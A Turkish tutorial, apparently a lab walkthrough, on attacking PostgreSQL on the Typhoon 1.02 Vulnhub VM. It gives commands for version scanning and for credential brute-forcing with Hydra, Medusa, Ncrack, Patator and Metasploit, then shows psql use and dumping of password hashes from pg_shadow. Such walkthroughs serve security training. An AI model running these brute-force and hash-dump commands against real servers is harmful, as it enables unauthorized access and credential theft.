Yazıda kullanılan Typhoon: 1.02 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/typhoon-102,267/
PostgreSQL başta Linux olmak üzere, Windows ve MacOS gibi işletim sistemlerinde de çalışan açık kaynak kodlu ilişkisel veritabanıdır. Bu yazı kapsamında PostgreSQL veritabanı servisinin sürümünün elde edilmesi, veritabanı kimlik bilgilerinin tespit edilmesi ve veritabanı üzerinde kullanılabilecek temel komutlar incelenecektir.
1) PostgreSQL Veritabanının Sürüm Bilgisini Elde Etme
IP adresi 192.168.245.132 olan hedef sanal makinedeki PostgreSQL servisinin tespiti için nmap aracı kullanılabilir.
nmap -Pn -n –open -sV -p 5432 192.168.245.132
Tarama sonucunda PostgreSQL veritabanının 9.3.3 ile 9.3.5 arasındaki bir sürümde olduğu görülmektedir.
Benzer bilgi toplama işlemi MSF postgres_version auxiliary modülü kullanılarak da gerçekleştirilebilir.
use auxiliary/scanner/postgres/postgres_version
show options
set RHOSTS 192.168.245.132
run
Not: Bu modül yanlış kimlik bilgileri ile çalıştırıldığında sürüm bilgisi elde edilemeyebilmektedir.
2) PostgreSQL Veritabanına Ait Kullanıcıların Kimlik Bilgilerinin Tespiti
Sözlük saldırısı gerçekleştirerek veritabanı kullanıcılarına ait kimlik bilgilerini tespit etmek için aşağıdaki sözlükler kullanılabilir.
- /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
- /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
Kimlik bilgileri Hydra aracı ile tespit edilebilir.
hydra -L Kullanicilar.txt -P Parolalar.txt postgres://192.168.245.132:5432
Kimlik bilgileri Medusa aracı ile tespit edilebilir.
medusa -h 192.168.245.132 -U Kullanicilar.txt -P Parolalar.txt -M postgres -n 5432 -v 4
Kimlik bilgileri Ncrack aracı ile tespit edilebilir.
ncrack -v -U Kullanicilar.txt -P Parolalar.txt 192.168.245.132:5432
Kimlik bilgileri Patator aracı ile tespit edilebilir.
patator pgsql_login host=192.168.245.132 user=FILE0 0=Kullanicilar.txt password=FILE1 1=Parolalar.txt -x ignore:fgrep=’password authentication failed for user’ -x ignore:fgrep=’fe_sendauth: no password supplied’
Kimlik bilgileri MSF postgres_login auxiliary modülü ile tespit edilebilir.
use auxiliary/scanner/postgres/postgres_login
set USER_FILE /root/Kullanicilar.txt
set PASS_FILE /root/Parolalar.txt
set RHOSTS 192.168.245.132
set VERBOSE false
run
Sonuç olarak aşağıdaki kimlik bilgileri elde edilmiştir.
- Kullanıcı Adı: postgres
- Parola: postgres
3) Veritabanı Üzerinde İşlem Gerçekleştirme
Veritabanına bağlantı kurmak için psql komut satırı aracı kullanılabilir. Bu komut satırında, yetkiler dahilinde işlemler gerçekleştirilebilir. Örneğin;
- Veritabanları listelenebilir
- Veritabanı rolleri listelenebilir
- Mevcut veritabanında tablo oluşturulabilir. (Yeni bir veritabanı da oluşturulabilir)
- Veritabanındaki tablolar listelenebilir
- Veritabanları arasında geçişler gerçekleştirilebilir
Örnek komutlar şu şekildedir.
psql -h 192.168.245.132 -U postgres
\l
\du
CREATE TABLE Personel (Sicil INTEGER PRIMARY KEY, Adi VARCHAR, Soyadi VARCHAR);
\dt
\c template1
\dt
Tablo seviyesinde işlemler gerçekleştirilebilir.
INSERT INTO Personel(Sicil, Adi, Soyadi) VALUES (2023,’Siber’,’Portal’);
select * from Personel;
drop table Personel;
SELECT version();
Veritabanı komut satırına düşmeden otomatik olarak sorgulama yapmak için pg_dump aracı kullanılabilir.
\c template1
CREATE TABLE Personel2 (Sicil INTEGER PRIMARY KEY, Adi VARCHAR, Soyadi VARCHAR);
CREATE TABLE
INSERT INTO Personel2(Sicil, Adi, Soyadi) VALUES (2023,’Siber-2′,’Portal-2′);
pg_dump –host=192.168.245.132 –username=postgres –password –dbname=template1 –table=’Personel’ -f KomutCiktisi.txt
Benzer olarak MSF postgres_sql auxiliary modülü ile de kullanıcı yetkisi dahilinde veritabanı üzerinde komut çalıştırılabilir.
use auxiliary/admin/postgres/postgres_sql
set RHOSTS 192.168.245.132
run
Kullanıcı yetkisinin bulunması durumunda MSF postgres_hashdump auxiliary modülü ile veritabanı kullanıcılarının parola özetleri elde edilebilir.
use auxiliary/scanner/postgres/postgres_hashdump
show options
set RHOSTS 192.168.245.132
run
Aynı sonuç pg_shadow tablosunun okunması ile de elde edilebilir.
select usename, passwd from pg_shadow;
Kaynaklar:
http://www.debugger.wiki/article/html/1557507605330912 VEYA https://www.anquanke.com/post/id/168877
https://github.com/muratyesiltepe/typhoon-vm/blob/master/writeup.md
https://wiki.pausiber.xyz/typhoon/
https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9